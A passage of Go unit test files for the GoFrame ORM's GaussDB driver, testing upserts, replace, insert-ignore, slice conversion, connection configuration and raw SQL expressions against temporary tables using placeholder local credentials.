count, err := db.Model(table).FieldsEx("id").Where("id>8").Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, int64(2))
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Exist(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
exist, err := db.Model(table).Exist()
|
||||
t.AssertNil(err)
|
||||
t.Assert(exist, TableSize > 0)
|
||||
exist, err = db.Model(table).Where("id", -1).Exist()
|
||||
t.AssertNil(err)
|
||||
t.Assert(exist, false)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Where(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// map + slice parameter
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.Model(table).Where(g.Map{
|
||||
"id": g.Slice{1, 2, 3},
|
||||
"passport": g.Slice{"user_2", "user_3"},
|
||||
}).Where("id=? and nickname=?", g.Slice{3, "name_3"}).One()
|
||||
t.AssertNil(err)
|
||||
t.AssertGT(len(result), 0)
|
||||
t.Assert(result["id"].Int(), 3)
|
||||
})
|
||||
|
||||
// struct, automatic mapping and filtering.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
type User struct {
|
||||
Id int
|
||||
Nickname string
|
||||
}
|
||||
result, err := db.Model(table).Where(User{3, "name_3"}).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(result["id"].Int(), 3)
|
||||
|
||||
result, err = db.Model(table).Where(&User{3, "name_3"}).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(result["id"].Int(), 3)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Save(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
type User struct {
|
||||
Id int
|
||||
Passport string
|
||||
Password string
|
||||
NickName string
|
||||
CreateTime *gtime.Time
|
||||
}
|
||||
var (
|
||||
user User
|
||||
count int
|
||||
result sql.Result
|
||||
err error
|
||||
)
|
||||
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "p1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": CreateTime,
|
||||
}).OnConflict("id").Save()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
err = db.Model(table).Scan(&user)
|
||||
t.AssertNil(err)
|
||||
t.Assert(user.Id, 1)
|
||||
t.Assert(user.Passport, "p1")
|
||||
t.Assert(user.Password, "pw1")
|
||||
t.Assert(user.NickName, "n1")
|
||||
t.Assert(user.CreateTime.String(), CreateTime)
|
||||
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "p1",
|
||||
"password": "pw2",
|
||||
"nickname": "n2",
|
||||
"create_time": CreateTime,
|
||||
}).OnConflict("id").Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
err = db.Model(table).Scan(&user)
|
||||
t.AssertNil(err)
|
||||
t.Assert(user.Passport, "p1")
|
||||
t.Assert(user.Password, "pw2")
|
||||
t.Assert(user.NickName, "n2")
|
||||
t.Assert(user.CreateTime.String(), CreateTime)
|
||||
|
||||
count, err = db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Replace(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert initial record
|
||||
result, err := db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "t1",
|
||||
"password": "pass1",
|
||||
"nickname": "T1",
|
||||
"create_time": "2018-10-24 10:00:00",
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Replace with new data
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "t11",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "T11",
|
||||
"create_time": "2018-10-24 10:00:00",
|
||||
}).Replace()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Verify the data was replaced
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"].String(), "t11")
|
||||
t.Assert(one["password"].String(), "25d55ad283aa400af464c76d713c07ad")
|
||||
t.Assert(one["nickname"].String(), "T11")
|
||||
|
||||
// Replace with new ID (insert new record)
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 2,
|
||||
"passport": "t22",
|
||||
"password": "pass22",
|
||||
"nickname": "T22",
|
||||
"create_time": "2018-10-24 11:00:00",
|
||||
}).Replace()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Verify new record was inserted
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, 2)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_OnConflict(t *testing.T) {
|
||||
var (
|
||||
table = fmt.Sprintf(`%s_%d`, TablePrefix+"test", gtime.TimestampNano())
|
||||
uniqueName = fmt.Sprintf(`%s_%d`, TablePrefix+"test_unique", gtime.TimestampNano())
|
||||
)
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(`
|
||||
CREATE TABLE %s (
|
||||
id bigserial NOT NULL,
|
||||
passport varchar(45) NOT NULL,
|
||||
password varchar(32) NOT NULL,
|
||||
nickname varchar(45) NOT NULL,
|
||||
create_time timestamp NOT NULL,
|
||||
PRIMARY KEY (id),
|
||||
CONSTRAINT %s UNIQUE ("passport", "password")
|
||||
) ;`, table, uniqueName,
|
||||
)); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
defer dropTable(table)
|
||||
|
||||
// string type 1.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("passport,password").Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "n1")
|
||||
})
|
||||
|
||||
// string type 2.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("passport", "password").Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "n1")
|
||||
})
|
||||
|
||||
// slice.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict(g.Slice{"passport", "password"}).Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).Where("id", 1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "n1")
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_OnDuplicate(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// string type 1.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicate("passport,password").Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
|
||||
// string type 2.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicate("passport", "password").Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
|
||||
// slice.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicate(g.Slice{"passport", "password"}).Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
|
||||
// map.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicate(g.Map{
|
||||
"passport": "nickname",
|
||||
"password": "nickname",
|
||||
}).Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["nickname"])
|
||||
t.Assert(one["password"], data["nickname"])
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
|
||||
// map+raw.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.MapStrStr{
|
||||
"id": "1",
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicate(g.Map{
|
||||
"passport": gdb.Raw("CONCAT(EXCLUDED.passport, '1')"),
|
||||
"password": gdb.Raw("CONCAT(EXCLUDED.password, '2')"),
|
||||
}).Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"]+"1")
|
||||
t.Assert(one["password"], data["password"]+"2")
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_OnDuplicateWithCounter(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicate(g.Map{
|
||||
"id": gdb.Counter{Field: "id", Value: 999999},
|
||||
}).Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.AssertNil(one)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_OnDuplicateEx(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// string type 1.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicateEx("nickname,create_time").Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
|
||||
// string type 2.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicateEx("nickname", "create_time").Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
|
||||
// slice.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicateEx(g.Slice{"nickname", "create_time"}).Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
|
||||
// map.
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": "pp1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": "2016-06-06",
|
||||
}
|
||||
_, err := db.Model(table).OnConflict("id").OnDuplicateEx(g.Map{
|
||||
"nickname": "nickname",
|
||||
"create_time": "nickname",
|
||||
}).Data(data).Save()
|
||||
t.AssertNil(err)
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data["passport"])
|
||||
t.Assert(one["password"], data["password"])
|
||||
t.Assert(one["nickname"], "name_1")
|
||||
})
|
||||
}
|
||||
|
||||
func Test_OrderRandom(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.Model(table).OrderRandom().All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(result), TableSize)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_ConvertSliceString(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
type User struct {
|
||||
Id int
|
||||
Passport string
|
||||
Password string
|
||||
NickName string
|
||||
CreateTime *gtime.Time
|
||||
FavoriteMovie []string
|
||||
FavoriteMusic []string
|
||||
}
|
||||
|
||||
var (
|
||||
user User
|
||||
user2 User
|
||||
err error
|
||||
)
|
||||
|
||||
// slice string not null
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "p1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": CreateTime,
|
||||
"favorite_movie": g.Slice{"Iron-Man", "Spider-Man"},
|
||||
"favorite_music": g.Slice{"Hey jude", "Let it be"},
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
err = db.Model(table).Where("id", 1).Scan(&user)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(user.FavoriteMusic), 2)
|
||||
t.Assert(user.FavoriteMusic[0], "Hey jude")
|
||||
t.Assert(user.FavoriteMusic[1], "Let it be")
|
||||
t.Assert(len(user.FavoriteMovie), 2)
|
||||
t.Assert(user.FavoriteMovie[0], "Iron-Man")
|
||||
t.Assert(user.FavoriteMovie[1], "Spider-Man")
|
||||
|
||||
// slice string null
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": 2,
|
||||
"passport": "p1",
|
||||
"password": "pw1",
|
||||
"nickname": "n1",
|
||||
"create_time": CreateTime,
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
err = db.Model(table).Where("id", 2).Scan(&user2)
|
||||
t.AssertNil(err)
|
||||
t.Assert(user2.FavoriteMusic, nil)
|
||||
t.Assert(len(user2.FavoriteMovie), 0)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_ConvertSliceFloat64(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
type Args struct {
|
||||
NumericValues []float64 `orm:"numeric_values"`
|
||||
DecimalValues []float64 `orm:"decimal_values"`
|
||||
}
|
||||
type User struct {
|
||||
Id int `orm:"id"`
|
||||
Passport string `orm:"passport"`
|
||||
Password string `json:"password"`
|
||||
NickName string `json:"nickname"`
|
||||
CreateTime *gtime.Time `json:"create_time"`
|
||||
Args
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
args Args
|
||||
}{
|
||||
{
|
||||
name: "nil",
|
||||
args: Args{
|
||||
NumericValues: nil,
|
||||
DecimalValues: nil,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "not nil",
|
||||
args: Args{
|
||||
NumericValues: []float64{1.1, 2.2, 3.3},
|
||||
DecimalValues: []float64{1.1, 2.2, 3.3},
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "not empty",
|
||||
args: Args{
|
||||
NumericValues: []float64{},
|
||||
DecimalValues: []float64{},
|
||||
},
|
||||
},
|
||||
}
|
||||
now := gtime.New(CreateTime)
|
||||
for i, tt := range tests {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
user := User{
|
||||
Id: i + 1,
|
||||
Passport: fmt.Sprintf("test_%d", i+1),
|
||||
Password: fmt.Sprintf("pass_%d", i+1),
|
||||
NickName: fmt.Sprintf("name_%d", i+1),
|
||||
CreateTime: now,
|
||||
Args: tt.args,
|
||||
}
|
||||
|
||||
_, err := db.Model(table).OmitNilData().Insert(user)
|
||||
t.AssertNil(err)
|
||||
var got Args
|
||||
err = db.Model(table).Where("id", user.Id).Limit(1).Scan(&got)
|
||||
t.AssertNil(err)
|
||||
t.AssertEQ(tt.args, got)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func Test_Model_InsertIgnore(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
user := db.Model(table)
|
||||
result, err := user.Data(g.Map{
|
||||
"id": 1,
|
||||
"uid": 1,
|
||||
"passport": "t1",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_1",
|
||||
"create_time": gtime.Now().String(),
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"uid": 1,
|
||||
"passport": "t1",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_1",
|
||||
"create_time": gtime.Now().String(),
|
||||
}).Insert()
|
||||
t.AssertNE(err, nil)
|
||||
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"uid": 1,
|
||||
"passport": "t2",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_2",
|
||||
"create_time": gtime.Now().String(),
|
||||
}).InsertIgnore()
|
||||
t.AssertNil(err)
|
||||
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 0)
|
||||
|
||||
value, err := db.Model(table).Fields("passport").WherePri(1).Value()
|
||||
t.AssertNil(err)
|
||||
t.Assert(value.String(), "t1")
|
||||
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, 1)
|
||||
|
||||
// pgsql support ignore without primary key
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
// "id": 1,
|
||||
"uid": 1,
|
||||
"passport": "t2",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_2",
|
||||
"create_time": gtime.Now().String(),
|
||||
}).InsertIgnore()
|
||||
t.AssertNil(err)
|
||||
|
||||
count, err = db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, 1)
|
||||
})
|
||||
}
|
||||
179
contrib/drivers/gaussdb/gaussdb_z_unit_open_test.go
Normal file
179
contrib/drivers/gaussdb/gaussdb_z_unit_open_test.go
Normal file
@ -0,0 +1,179 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
|
||||
"github.com/gogf/gf/contrib/drivers/gaussdb/v2"
|
||||
)
|
||||
|
||||
// Test_Open tests the Open method with various configurations
|
||||
func Test_Open_WithNamespace(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
config := &gdb.ConfigNode{
|
||||
User: "postgres",
|
||||
Pass: "12345678",
|
||||
Host: "127.0.0.1",
|
||||
Port: "5432",
|
||||
Name: "test",
|
||||
Namespace: "public",
|
||||
}
|
||||
db, err := driver.Open(config)
|
||||
t.AssertNil(err)
|
||||
t.AssertNE(db, nil)
|
||||
if db != nil {
|
||||
db.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Open_WithTimezone tests Open with timezone configuration
|
||||
func Test_Open_WithTimezone(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
config := &gdb.ConfigNode{
|
||||
User: "postgres",
|
||||
Pass: "12345678",
|
||||
Host: "127.0.0.1",
|
||||
Port: "5432",
|
||||
Name: "test",
|
||||
Timezone: "Asia/Shanghai",
|
||||
}
|
||||
db, err := driver.Open(config)
|
||||
t.AssertNil(err)
|
||||
t.AssertNE(db, nil)
|
||||
if db != nil {
|
||||
db.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Open_WithExtra tests Open with extra configuration
|
||||
func Test_Open_WithExtra(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
config := &gdb.ConfigNode{
|
||||
User: "postgres",
|
||||
Pass: "12345678",
|
||||
Host: "127.0.0.1",
|
||||
Port: "5432",
|
||||
Name: "test",
|
||||
Extra: "connect_timeout=10",
|
||||
}
|
||||
db, err := driver.Open(config)
|
||||
t.AssertNil(err)
|
||||
t.AssertNE(db, nil)
|
||||
if db != nil {
|
||||
db.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Open_WithInvalidExtra tests Open with invalid extra configuration
|
||||
func Test_Open_WithInvalidExtra(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
config := &gdb.ConfigNode{
|
||||
User: "postgres",
|
||||
Pass: "12345678",
|
||||
Host: "127.0.0.1",
|
||||
Port: "5432",
|
||||
Name: "test",
|
||||
// Invalid extra format with invalid URL encoding that will cause parse error
|
||||
Extra: "%Q=%Q&b",
|
||||
}
|
||||
_, err := driver.Open(config)
|
||||
t.AssertNE(err, nil)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Open_WithFullConfig tests Open with all configuration options
|
||||
func Test_Open_WithFullConfig(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
config := &gdb.ConfigNode{
|
||||
User: "postgres",
|
||||
Pass: "12345678",
|
||||
Host: "127.0.0.1",
|
||||
Port: "5432",
|
||||
Name: "test",
|
||||
Namespace: "public",
|
||||
Timezone: "UTC",
|
||||
Extra: "connect_timeout=10",
|
||||
}
|
||||
db, err := driver.Open(config)
|
||||
t.AssertNil(err)
|
||||
t.AssertNE(db, nil)
|
||||
if db != nil {
|
||||
db.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Open_WithoutPort tests Open without port
|
||||
func Test_Open_WithoutPort(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
config := &gdb.ConfigNode{
|
||||
User: "postgres",
|
||||
Pass: "12345678",
|
||||
Host: "127.0.0.1",
|
||||
Name: "test",
|
||||
}
|
||||
db, err := driver.Open(config)
|
||||
t.AssertNil(err)
|
||||
t.AssertNE(db, nil)
|
||||
if db != nil {
|
||||
db.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Open_WithoutName tests Open without database name
|
||||
func Test_Open_WithoutName(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
config := &gdb.ConfigNode{
|
||||
User: "postgres",
|
||||
Pass: "12345678",
|
||||
Host: "127.0.0.1",
|
||||
Port: "5432",
|
||||
}
|
||||
db, err := driver.Open(config)
|
||||
t.AssertNil(err)
|
||||
t.AssertNE(db, nil)
|
||||
if db != nil {
|
||||
db.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Open_InvalidHost tests Open with invalid host
|
||||
func Test_Open_InvalidHost(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
config := &gdb.ConfigNode{
|
||||
User: "postgres",
|
||||
Pass: "12345678",
|
||||
Host: "invalid_host_that_does_not_exist",
|
||||
Port: "5432",
|
||||
Name: "test",
|
||||
}
|
||||
// Note: sql.Open doesn't actually connect, so no error here
|
||||
// The error would occur when actually using the connection
|
||||
db, err := driver.Open(config)
|
||||
t.AssertNil(err)
|
||||
if db != nil {
|
||||
db.Close()
|
||||
}
|
||||
})
|
||||
}
|
||||
99
contrib/drivers/gaussdb/gaussdb_z_unit_raw_test.go
Normal file
99
contrib/drivers/gaussdb/gaussdb_z_unit_raw_test.go
Normal file
@ -0,0 +1,99 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
func Test_Raw_Insert(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
user := db.Model(table)
|
||||
result, err := user.Data(g.Map{
|
||||
"passport": "port_1",
|
||||
"password": "pass_1",
|
||||
"nickname": "name_1",
|
||||
"create_time": gdb.Raw("now()"),
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Raw_BatchInsert(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
user := db.Model(table)
|
||||
result, err := user.Data(
|
||||
g.List{
|
||||
g.Map{
|
||||
"passport": "port_2",
|
||||
"password": "pass_2",
|
||||
"nickname": "name_2",
|
||||
"create_time": gdb.Raw("now()"),
|
||||
},
|
||||
g.Map{
|
||||
"passport": "port_4",
|
||||
"password": "pass_4",
|
||||
"nickname": "name_4",
|
||||
"create_time": gdb.Raw("now()"),
|
||||
},
|
||||
},
|
||||
).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 2)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Raw_Delete(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
user := db.Model(table)
|
||||
result, err := user.Data(g.Map{
|
||||
"id": gdb.Raw("id"),
|
||||
}).Where("id", 1).Delete()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Raw_Update(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
user := db.Model(table)
|
||||
result, err := user.Data(g.Map{
|
||||
"id": gdb.Raw("id+100"),
|
||||
